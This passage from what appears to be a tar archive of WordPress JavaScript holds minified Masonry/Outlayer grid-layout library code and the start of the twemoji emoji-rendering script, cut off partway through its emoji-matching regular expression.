c=h[l],f=r[c],m=parseFloat(f);a[c]=isNaN(m)?0:m}var p=a.paddingLeft+a.paddingRight,g=a.paddingTop+a.paddingBottom,y=a.marginLeft+a.marginRight,v=a.marginTop+a.marginBottom,_=a.borderLeftWidth+a.borderRightWidth,z=a.borderTopWidth+a.borderBottomWidth,E=d&&s,b=t(r.width);b!==!1&&(a.width=b+(E?0:p+_));var x=t(r.height);return x!==!1&&(a.height=x+(E?0:g+z)),a.innerWidth=a.width-(p+_),a.innerHeight=a.height-(g+z),a.outerWidth=a.width+y,a.outerHeight=a.height+v,a}}var s,a="undefined"==typeof console?e:function(t){console.error(t)},h=["paddingLeft","paddingRight","paddingTop","paddingBottom","marginLeft","marginRight","marginTop","marginBottom","borderLeftWidth","borderRightWidth","borderTopWidth","borderBottomWidth"],u=h.length,d=!1;return r}),function(t,e){"use strict";"function"==typeof define&&define.amd?define("desandro-matches-selector/matches-selector",e):"object"==typeof module&&module.exports?module.exports=e():t.matchesSelector=e()}(window,function(){"use strict";var t=function(){var t=window.Element.prototype;if(t.matches)return"matches";if(t.matchesSelector)return"matchesSelector";for(var e=["webkit","moz","ms","o"],i=0;i<e.length;i++){var n=e[i],o=n+"MatchesSelector";if(t[o])return o}}();return function(e,i){return e[t](i)}}),function(t,e){"function"==typeof define&&define.amd?define("fizzy-ui-utils/utils",["desandro-matches-selector/matches-selector"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("desandro-matches-selector")):t.fizzyUIUtils=e(t,t.matchesSelector)}(window,function(t,e){var i={};i.extend=function(t,e){for(var i in e)t[i]=e[i];return t},i.modulo=function(t,e){return(t%e+e)%e};var n=Array.prototype.slice;i.makeArray=function(t){if(Array.isArray(t))return t;if(null===t||void 0===t)return[];var e="object"==typeof t&&"number"==typeof t.length;return e?n.call(t):[t]},i.removeFrom=function(t,e){var i=t.indexOf(e);-1!=i&&t.splice(i,1)},i.getParent=function(t,i){for(;t.parentNode&&t!=document.body;)if(t=t.parentNode,e(t,i))return t},i.getQueryElement=function(t){return"string"==typeof t?document.querySelector(t):t},i.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},i.filterFindElements=function(t,n){t=i.makeArray(t);var o=[];return t.forEach(function(t){if(t instanceof HTMLElement){if(!n)return void o.push(t);e(t,n)&&o.push(t);for(var i=t.querySelectorAll(n),r=0;r<i.length;r++)o.push(i[r])}}),o},i.debounceMethod=function(t,e,i){i=i||100;var n=t.prototype[e],o=e+"Timeout";t.prototype[e]=function(){var t=this[o];clearTimeout(t);var e=arguments,r=this;this[o]=setTimeout(function(){n.apply(r,e),delete r[o]},i)}},i.docReady=function(t){var e=document.readyState;"complete"==e||"interactive"==e?setTimeout(t):document.addEventListener("DOMContentLoaded",t)},i.toDashed=function(t){return t.replace(/(.)([A-Z])/g,function(t,e,i){return e+"-"+i}).toLowerCase()};var o=t.console;return i.htmlInit=function(e,n){i.docReady(function(){var r=i.toDashed(n),s="data-"+r,a=document.querySelectorAll("["+s+"]"),h=document.querySelectorAll(".js-"+r),u=i.makeArray(a).concat(i.makeArray(h)),d=s+"-options",l=t.jQuery;u.forEach(function(t){var i,r=t.getAttribute(s)||t.getAttribute(d);try{i=r&&JSON.parse(r)}catch(a){return void(o&&o.error("Error parsing "+s+" on "+t.className+": "+a))}var h=new e(t,i);l&&l.data(t,n,h)})})},i}),function(t,e){"function"==typeof define&&define.amd?define("outlayer/item",["ev-emitter/ev-emitter","get-size/get-size"],e):"object"==typeof module&&module.exports?module.exports=e(require("ev-emitter"),require("get-size")):(t.Outlayer={},t.Outlayer.Item=e(t.EvEmitter,t.getSize))}(window,function(t,e){"use strict";function i(t){for(var e in t)return!1;return e=null,!0}function n(t,e){t&&(this.element=t,this.layout=e,this.position={x:0,y:0},this._create())}function o(t){return t.replace(/([A-Z])/g,function(t){return"-"+t.toLowerCase()})}var r=document.documentElement.style,s="string"==typeof r.transition?"transition":"WebkitTransition",a="string"==typeof r.transform?"transform":"WebkitTransform",h={WebkitTransition:"webkitTransitionEnd",transition:"transitionend"}[s],u={transform:a,transition:s,transitionDuration:s+"Duration",transitionProperty:s+"Property",transitionDelay:s+"Delay"},d=n.prototype=Object.create(t.prototype);d.constructor=n,d._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},d.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},d.getSize=function(){this.size=e(this.element)},d.css=function(t){var e=this.element.style;for(var i in t){var n=u[i]||i;e[n]=t[i]}},d.getPosition=function(){var t=getComputedStyle(this.element),e=this.layout._getOption("originLeft"),i=this.layout._getOption("originTop"),n=t[e?"left":"right"],o=t[i?"top":"bottom"],r=parseFloat(n),s=parseFloat(o),a=this.layout.size;-1!=n.indexOf("%")&&(r=r/100*a.width),-1!=o.indexOf("%")&&(s=s/100*a.height),r=isNaN(r)?0:r,s=isNaN(s)?0:s,r-=e?a.paddingLeft:a.paddingRight,s-=i?a.paddingTop:a.paddingBottom,this.position.x=r,this.position.y=s},d.layoutPosition=function(){var t=this.layout.size,e={},i=this.layout._getOption("originLeft"),n=this.layout._getOption("originTop"),o=i?"paddingLeft":"paddingRight",r=i?"left":"right",s=i?"right":"left",a=this.position.x+t[o];e[r]=this.getXValue(a),e[s]="";var h=n?"paddingTop":"paddingBottom",u=n?"top":"bottom",d=n?"bottom":"top",l=this.position.y+t[h];e[u]=this.getYValue(l),e[d]="",this.css(e),this.emitEvent("layout",[this])},d.getXValue=function(t){var e=this.layout._getOption("horizontal");return this.layout.options.percentPosition&&!e?t/this.layout.size.width*100+"%":t+"px"},d.getYValue=function(t){var e=this.layout._getOption("horizontal");return this.layout.options.percentPosition&&e?t/this.layout.size.height*100+"%":t+"px"},d._transitionTo=function(t,e){this.getPosition();var i=this.position.x,n=this.position.y,o=t==this.position.x&&e==this.position.y;if(this.setPosition(t,e),o&&!this.isTransitioning)return void this.layoutPosition();var r=t-i,s=e-n,a={};a.transform=this.getTranslate(r,s),this.transition({to:a,onTransitionEnd:{transform:this.layoutPosition},isCleaning:!0})},d.getTranslate=function(t,e){var i=this.layout._getOption("originLeft"),n=this.layout._getOption("originTop");return t=i?t:-t,e=n?e:-e,"translate3d("+t+"px, "+e+"px, 0)"},d.goTo=function(t,e){this.setPosition(t,e),this.layoutPosition()},d.moveTo=d._transitionTo,d.setPosition=function(t,e){this.position.x=parseFloat(t),this.position.y=parseFloat(e)},d._nonTransition=function(t){this.css(t.to),t.isCleaning&&this._removeStyles(t.to);for(var e in t.onTransitionEnd)t.onTransitionEnd[e].call(this)},d.transition=function(t){if(!parseFloat(this.layout.options.transitionDuration))return void this._nonTransition(t);var e=this._transn;for(var i in t.onTransitionEnd)e.onEnd[i]=t.onTransitionEnd[i];for(i in t.to)e.ingProperties[i]=!0,t.isCleaning&&(e.clean[i]=!0);if(t.from){this.css(t.from);var n=this.element.offsetHeight;n=null}this.enableTransition(t.to),this.css(t.to),this.isTransitioning=!0};var l="opacity,"+o(a);d.enableTransition=function(){if(!this.isTransitioning){var t=this.layout.options.transitionDuration;t="number"==typeof t?t+"ms":t,this.css({transitionProperty:l,transitionDuration:t,transitionDelay:this.staggerDelay||0}),this.element.addEventListener(h,this,!1)}},d.onwebkitTransitionEnd=function(t){this.ontransitionend(t)},d.onotransitionend=function(t){this.ontransitionend(t)};var c={"-webkit-transform":"transform"};d.ontransitionend=function(t){if(t.target===this.element){var e=this._transn,n=c[t.propertyName]||t.propertyName;if(delete e.ingProperties[n],i(e.ingProperties)&&this.disableTransition(),n in e.clean&&(this.element.style[t.propertyName]="",delete e.clean[n]),n in e.onEnd){var o=e.onEnd[n];o.call(this),delete e.onEnd[n]}this.emitEvent("transitionEnd",[this])}},d.disableTransition=function(){this.removeTransitionStyles(),this.element.removeEventListener(h,this,!1),this.isTransitioning=!1},d._removeStyles=function(t){var e={};for(var i in t)e[i]="";this.css(e)};var f={transitionProperty:"",transitionDuration:"",transitionDelay:""};return d.removeTransitionStyles=function(){this.css(f)},d.stagger=function(t){t=isNaN(t)?0:t,this.staggerDelay=t+"ms"},d.removeElem=function(){this.element.parentNode.removeChild(this.element),this.css({display:""}),this.emitEvent("remove",[this])},d.remove=function(){return s&&parseFloat(this.layout.options.transitionDuration)?(this.once("transitionEnd",function(){this.removeElem()}),void this.hide()):void this.removeElem()},d.reveal=function(){delete this.isHidden,this.css({display:""});var t=this.layout.options,e={},i=this.getHideRevealTransitionEndProperty("visibleStyle");e[i]=this.onRevealTransitionEnd,this.transition({from:t.hiddenStyle,to:t.visibleStyle,isCleaning:!0,onTransitionEnd:e})},d.onRevealTransitionEnd=function(){this.isHidden||this.emitEvent("reveal")},d.getHideRevealTransitionEndProperty=function(t){var e=this.layout.options[t];if(e.opacity)return"opacity";for(var i in e)return i},d.hide=function(){this.isHidden=!0,this.css({display:""});var t=this.layout.options,e={},i=this.getHideRevealTransitionEndProperty("hiddenStyle");e[i]=this.onHideTransitionEnd,this.transition({from:t.visibleStyle,to:t.hiddenStyle,isCleaning:!0,onTransitionEnd:e})},d.onHideTransitionEnd=function(){this.isHidden&&(this.css({display:"none"}),this.emitEvent("hide"))},d.destroy=function(){this.css({position:"",left:"",right:"",top:"",bottom:"",transition:"",transform:""})},n}),function(t,e){"use strict";"function"==typeof define&&define.amd?define("outlayer/outlayer",["ev-emitter/ev-emitter","get-size/get-size","fizzy-ui-utils/utils","./item"],function(i,n,o,r){return e(t,i,n,o,r)}):"object"==typeof module&&module.exports?module.exports=e(t,require("ev-emitter"),require("get-size"),require("fizzy-ui-utils"),require("./item")):t.Outlayer=e(t,t.EvEmitter,t.getSize,t.fizzyUIUtils,t.Outlayer.Item)}(window,function(t,e,i,n,o){"use strict";function r(t,e){var i=n.getQueryElement(t);if(!i)return void(h&&h.error("Bad element for "+this.constructor.namespace+": "+(i||t)));this.element=i,u&&(this.$element=u(this.element)),this.options=n.extend({},this.constructor.defaults),this.option(e);var o=++l;this.element.outlayerGUID=o,c[o]=this,this._create();var r=this._getOption("initLayout");r&&this.layout()}function s(t){function e(){t.apply(this,arguments)}return e.prototype=Object.create(t.prototype),e.prototype.constructor=e,e}function a(t){if("number"==typeof t)return t;var e=t.match(/(^\d*\.?\d*)(\w*)/),i=e&&e[1],n=e&&e[2];if(!i.length)return 0;i=parseFloat(i);var o=m[n]||1;return i*o}var h=t.console,u=t.jQuery,d=function(){},l=0,c={};r.namespace="outlayer",r.Item=o,r.defaults={containerStyle:{position:"relative"},initLayout:!0,originLeft:!0,originTop:!0,resize:!0,resizeContainer:!0,transitionDuration:"0.4s",hiddenStyle:{opacity:0,transform:"scale(0.001)"},visibleStyle:{opacity:1,transform:"scale(1)"}};var f=r.prototype;n.extend(f,e.prototype),f.option=function(t){n.extend(this.options,t)},f._getOption=function(t){var e=this.constructor.compatOptions[t];return e&&void 0!==this.options[e]?this.options[e]:this.options[t]},r.compatOptions={initLayout:"isInitLayout",horizontal:"isHorizontal",layoutInstant:"isLayoutInstant",originLeft:"isOriginLeft",originTop:"isOriginTop",resize:"isResizeBound",resizeContainer:"isResizingContainer"},f._create=function(){this.reloadItems(),this.stamps=[],this.stamp(this.options.stamp),n.extend(this.element.style,this.options.containerStyle);var t=this._getOption("resize");t&&this.bindResize()},f.reloadItems=function(){this.items=this._itemize(this.element.children)},f._itemize=function(t){for(var e=this._filterFindItemElements(t),i=this.constructor.Item,n=[],o=0;o<e.length;o++){var r=e[o],s=new i(r,this);n.push(s)}return n},f._filterFindItemElements=function(t){return n.filterFindElements(t,this.options.itemSelector)},f.getItemElements=function(){return this.items.map(function(t){return t.element})},f.layout=function(){this._resetLayout(),this._manageStamps();var t=this._getOption("layoutInstant"),e=void 0!==t?t:!this._isLayoutInited;this.layoutItems(this.items,e),this._isLayoutInited=!0},f._init=f.layout,f._resetLayout=function(){this.getSize()},f.getSize=function(){this.size=i(this.element)},f._getMeasurement=function(t,e){var n,o=this.options[t];o?("string"==typeof o?n=this.element.querySelector(o):o instanceof HTMLElement&&(n=o),this[t]=n?i(n)[e]:o):this[t]=0},f.layoutItems=function(t,e){t=this._getItemsForLayout(t),this._layoutItems(t,e),this._postLayout()},f._getItemsForLayout=function(t){return t.filter(function(t){return!t.isIgnored})},f._layoutItems=function(t,e){if(this._emitCompleteOnItems("layout",t),t&&t.length){var i=[];t.forEach(function(t){var n=this._getItemLayoutPosition(t);n.item=t,n.isInstant=e||t.isLayoutInstant,i.push(n)},this),this._processLayoutQueue(i)}},f._getItemLayoutPosition=function(){return{x:0,y:0}},f._processLayoutQueue=function(t){this.updateStagger(),t.forEach(function(t,e){this._positionItem(t.item,t.x,t.y,t.isInstant,e)},this)},f.updateStagger=function(){var t=this.options.stagger;return null===t||void 0===t?void(this.stagger=0):(this.stagger=a(t),this.stagger)},f._positionItem=function(t,e,i,n,o){n?t.goTo(e,i):(t.stagger(o*this.stagger),t.moveTo(e,i))},f._postLayout=function(){this.resizeContainer()},f.resizeContainer=function(){var t=this._getOption("resizeContainer");if(t){var e=this._getContainerSize();e&&(this._setContainerMeasure(e.width,!0),this._setContainerMeasure(e.height,!1))}},f._getContainerSize=d,f._setContainerMeasure=function(t,e){if(void 0!==t){var i=this.size;i.isBorderBox&&(t+=e?i.paddingLeft+i.paddingRight+i.borderLeftWidth+i.borderRightWidth:i.paddingBottom+i.paddingTop+i.borderTopWidth+i.borderBottomWidth),t=Math.max(t,0),this.element.style[e?"width":"height"]=t+"px"}},f._emitCompleteOnItems=function(t,e){function i(){o.dispatchEvent(t+"Complete",null,[e])}function n(){s++,s==r&&i()}var o=this,r=e.length;if(!e||!r)return void i();var s=0;e.forEach(function(e){e.once(t,n)})},f.dispatchEvent=function(t,e,i){var n=e?[e].concat(i):i;if(this.emitEvent(t,n),u)if(this.$element=this.$element||u(this.element),e){var o=u.Event(e);o.type=t,this.$element.trigger(o,i)}else this.$element.trigger(t,i)},f.ignore=function(t){var e=this.getItem(t);e&&(e.isIgnored=!0)},f.unignore=function(t){var e=this.getItem(t);e&&delete e.isIgnored},f.stamp=function(t){t=this._find(t),t&&(this.stamps=this.stamps.concat(t),t.forEach(this.ignore,this))},f.unstamp=function(t){t=this._find(t),t&&t.forEach(function(t){n.removeFrom(this.stamps,t),this.unignore(t)},this)},f._find=function(t){return t?("string"==typeof t&&(t=this.element.querySelectorAll(t)),t=n.makeArray(t)):void 0},f._manageStamps=function(){this.stamps&&this.stamps.length&&(this._getBoundingRect(),this.stamps.forEach(this._manageStamp,this))},f._getBoundingRect=function(){var t=this.element.getBoundingClientRect(),e=this.size;this._boundingRect={left:t.left+e.paddingLeft+e.borderLeftWidth,top:t.top+e.paddingTop+e.borderTopWidth,right:t.right-(e.paddingRight+e.borderRightWidth),bottom:t.bottom-(e.paddingBottom+e.borderBottomWidth)}},f._manageStamp=d,f._getElementOffset=function(t){var e=t.getBoundingClientRect(),n=this._boundingRect,o=i(t),r={left:e.left-n.left-o.marginLeft,top:e.top-n.top-o.marginTop,right:n.right-e.right-o.marginRight,bottom:n.bottom-e.bottom-o.marginBottom};return r},f.handleEvent=n.handleEvent,f.bindResize=function(){t.addEventListener("resize",this),this.isResizeBound=!0},f.unbindResize=function(){t.removeEventListener("resize",this),this.isResizeBound=!1},f.onresize=function(){this.resize()},n.debounceMethod(r,"onresize",100),f.resize=function(){this.isResizeBound&&this.needsResizeLayout()&&this.layout()},f.needsResizeLayout=function(){var t=i(this.element),e=this.size&&t;return e&&t.innerWidth!==this.size.innerWidth},f.addItems=function(t){var e=this._itemize(t);return e.length&&(this.items=this.items.concat(e)),e},f.appended=function(t){var e=this.addItems(t);e.length&&(this.layoutItems(e,!0),this.reveal(e))},f.prepended=function(t){var e=this._itemize(t);if(e.length){var i=this.items.slice(0);this.items=e.concat(i),this._resetLayout(),this._manageStamps(),this.layoutItems(e,!0),this.reveal(e),this.layoutItems(i)}},f.reveal=function(t){if(this._emitCompleteOnItems("reveal",t),t&&t.length){var e=this.updateStagger();t.forEach(function(t,i){t.stagger(i*e),t.reveal()})}},f.hide=function(t){if(this._emitCompleteOnItems("hide",t),t&&t.length){var e=this.updateStagger();t.forEach(function(t,i){t.stagger(i*e),t.hide()})}},f.revealItemElements=function(t){var e=this.getItems(t);this.reveal(e)},f.hideItemElements=function(t){var e=this.getItems(t);this.hide(e)},f.getItem=function(t){for(var e=0;e<this.items.length;e++){var i=this.items[e];if(i.element==t)return i}},f.getItems=function(t){t=n.makeArray(t);var e=[];return t.forEach(function(t){var i=this.getItem(t);i&&e.push(i)},this),e},f.remove=function(t){var e=this.getItems(t);this._emitCompleteOnItems("remove",e),e&&e.length&&e.forEach(function(t){t.remove(),n.removeFrom(this.items,t)},this)},f.destroy=function(){var t=this.element.style;t.height="",t.position="",t.width="",this.items.forEach(function(t){t.destroy()}),this.unbindResize();var e=this.element.outlayerGUID;delete c[e],delete this.element.outlayerGUID,u&&u.removeData(this.element,this.constructor.namespace)},r.data=function(t){t=n.getQueryElement(t);var e=t&&t.outlayerGUID;return e&&c[e]},r.create=function(t,e){var i=s(r);return i.defaults=n.extend({},r.defaults),n.extend(i.defaults,e),i.compatOptions=n.extend({},r.compatOptions),i.namespace=t,i.data=r.data,i.Item=s(o),n.htmlInit(i,t),u&&u.bridget&&u.bridget(t,i),i};var m={ms:1,s:1e3};return r.Item=o,r}),function(t,e){"function"==typeof define&&define.amd?define(["outlayer/outlayer","get-size/get-size"],e):"object"==typeof module&&module.exports?module.exports=e(require("outlayer"),require("get-size")):t.Masonry=e(t.Outlayer,t.getSize)}(window,function(t,e){var i=t.create("masonry");i.compatOptions.fitWidth="isFitWidth";var n=i.prototype;return n._resetLayout=function(){this.getSize(),this._getMeasurement("columnWidth","outerWidth"),this._getMeasurement("gutter","outerWidth"),this.measureColumns(),this.colYs=[];for(var t=0;t<this.cols;t++)this.colYs.push(0);this.maxY=0,this.horizontalColIndex=0},n.measureColumns=function(){if(this.getContainerWidth(),!this.columnWidth){var t=this.items[0],i=t&&t.element;this.columnWidth=i&&e(i).outerWidth||this.containerWidth}var n=this.columnWidth+=this.gutter,o=this.containerWidth+this.gutter,r=o/n,s=n-o%n,a=s&&1>s?"round":"floor";r=Math[a](r),this.cols=Math.max(r,1)},n.getContainerWidth=function(){var t=this._getOption("fitWidth"),i=t?this.element.parentNode:this.element,n=e(i);this.containerWidth=n&&n.innerWidth},n._getItemLayoutPosition=function(t){t.getSize();var e=t.size.outerWidth%this.columnWidth,i=e&&1>e?"round":"ceil",n=Math[i](t.size.outerWidth/this.columnWidth);n=Math.min(n,this.cols);for(var o=this.options.horizontalOrder?"_getHorizontalColPosition":"_getTopColPosition",r=this[o](n,t),s={x:this.columnWidth*r.col,y:r.y},a=r.y+t.size.outerHeight,h=n+r.col,u=r.col;h>u;u++)this.colYs[u]=a;return s},n._getTopColPosition=function(t){var e=this._getTopColGroup(t),i=Math.min.apply(Math,e);return{col:e.indexOf(i),y:i}},n._getTopColGroup=function(t){if(2>t)return this.colYs;for(var e=[],i=this.cols+1-t,n=0;i>n;n++)e[n]=this._getColGroupY(n,t);return e},n._getColGroupY=function(t,e){if(2>e)return this.colYs[t];var i=this.colYs.slice(t,t+e);return Math.max.apply(Math,i)},n._getHorizontalColPosition=function(t,e){var i=this.horizontalColIndex%this.cols,n=t>1&&i+t>this.cols;i=n?0:i;var o=e.size.outerWidth&&e.size.outerHeight;return this.horizontalColIndex=o?i+t:this.horizontalColIndex,{col:i,y:this._getColGroupY(i,t)}},n._manageStamp=function(t){var i=e(t),n=this._getElementOffset(t),o=this._getOption("originLeft"),r=o?n.left:n.right,s=r+i.outerWidth,a=Math.floor(r/this.columnWidth);a=Math.max(0,a);var h=Math.floor(s/this.columnWidth);h-=s%this.columnWidth?0:1,h=Math.min(this.cols-1,h);for(var u=this._getOption("originTop"),d=(u?n.top:n.bottom)+i.outerHeight,l=a;h>=l;l++)this.colYs[l]=Math.max(d,this.colYs[l])},n._getContainerSize=function(){this.maxY=Math.max.apply(Math,this.colYs);var t={height:this.maxY};return this._getOption("fitWidth")&&(t.width=this._getContainerFitWidth()),t},n._getContainerFitWidth=function(){for(var t=0,e=this.cols;--e&&0===this.colYs[e];)t++;return(this.cols-t)*this.columnWidth-this.gutter},n.needsResizeLayout=function(){var t=this.containerWidth;return this.getContainerWidth(),t!=this.containerWidth},i});������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wp-emoji-release.min.js��������������������������������������������������������������������������0000644�����������������00000044271�14717703502�0011463 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ // Source: wp-includes/js/twemoji.min.js var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return b(d);return b(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u||(u={callback:u});return("string"==typeof d?function(d,a){return o(d,function(d){var u,f,c=d,e=x(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,n),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,n,r,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a],3===(e=c.nodeType)?f.push(c):1!==e||"ownerSVGElement"in c||h.test(c.nodeName.toLowerCase())||d(c,f);return f}(d,[]),p=l.length;for(;p--;){for(e=!1,b=document.createDocumentFragment(),a=l[p],t=a.nodeValue,n=0;o=m.exec(t);){if((s=o.index)!==n&&b.appendChild(g(t.slice(n,s),!0)),o=o[0],i=x(o),n=s+o.length,s=u.callback(i,u),i&&s){for(c in(r=new Image).onerror=u.onerror,r.setAttribute("draggable","false"),f=u.attributes(o,i))f.hasOwnProperty(c)&&0!==c.indexOf("on")&&!r.hasAttribute(c)&&r.setAttribute(c,f[c]);r.className=u.className,r.alt=o,r.src=s,e=!0,b.appendChild(r)}r||b.appendChild(g(o,!1)),r=null}e&&(n<t.length&&b.appendChild(g(t.slice(n),!0)),a.parentNode.replaceChild(b,a))}return d})(d,{callback:u.callback||a,attributes:"function"==typeof u.attributes?u.attributes:r,base:("string"==typeof u.base?u:f).base,ext:u.ext||f.ext,size:u.folder||function(d){return"number"==typeof d?d+"x"+d:d}(u.size||f.size),className:u.className||f.className,onerror:u.onerror||f.onerror})},replace:o,test:function(d){m.lastIndex=0;d=m.test(d);return m.lastIndex=0,d}},u={"&":"&","<":"<",">":">","'":"'",'"':"""},m=/(?:\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb